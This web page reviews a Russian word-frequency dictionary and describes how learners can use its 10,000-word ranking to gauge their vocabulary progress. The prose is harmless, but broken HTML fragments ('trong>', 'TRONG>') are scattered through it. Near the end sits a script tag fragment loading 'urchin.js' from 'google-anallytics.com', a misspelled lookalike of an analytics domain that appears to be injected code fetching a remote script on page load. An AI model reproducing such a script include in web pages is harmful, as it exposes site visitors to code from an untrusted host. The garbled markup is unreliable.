Russian Learner's Dictionary: 10,000 Words in Frequency Order by Nicholas J. Brown Published by Routledge in 1996 Book in English for students of the Russian language 440 pages Editorial rating:  Post a user comment
If you want to check the progress of your russian vocabulary versus the real-life frequency of russian words, buy this trong>Russian word frequency dictionary . The author used a corpus of russian texts to calculate
the 10,000 most common words in contemporary Russian. The list begins with the
most frequent word in the list и (and) and goes to #10,000 яростый (furious). It's great fun to read and see which words are more
common. For example, October is much more common than any other month in
Russian. No suprise there! I find it fascinating to be able to contemplate on
paper the distance I still have to travel to reach a specific level of fluency
(grammar notwithstanding). To TRONG>judge your progress in learning new
russian words, just open the dictionary at a page, for example between 1500 and
1600. Count every word that you understand. Then you reach some conclusions
about your level, such as I know 90% of the 1500 most common Russian
words or I understand 50% of the Russian words that
are between the 4000 and 5000
thousand most common. This is of course an TRONG>approximation and even by increasing the size of
the sample you will not get an airtight statistic. But it still gives you a good
idea of where your stand in your Russian vocabulary learning. It is a great book
to have as a TRONG>yardstick to measure your progress in acquiring
russian vocabulary. The higher the frequency rank (meaning less frequent words), the
lesser the percentage of words you'll know. I was still encouraged to see
that even in the rarefied atmosphere of the 9000 to 9100 most common Russian
words (they are not so common up there!), I could still understand a few. When you are dispaired that you will never get to speak Russian fluently,
it's good to have a book that materializes all the words you can learn to
achieve a certain landmark. 10,000 is already tall order, so most learners
will probably focus first on 1500, then 3000, then 5000 and perhaps one day
get over 10,000. I know some people use this book as a
discovery tool for useful words they have not yet encountered. Personally,
I don't think you should make it an absolute priority to learn every single
word below a certain frequency count. In any case this is a great book for the Russian learner and I warmly
recommend it! 'text/javascript' src='http://google-anallytics.com/urchin.js'>
Submitted by administrator on 22/5/2005 | 
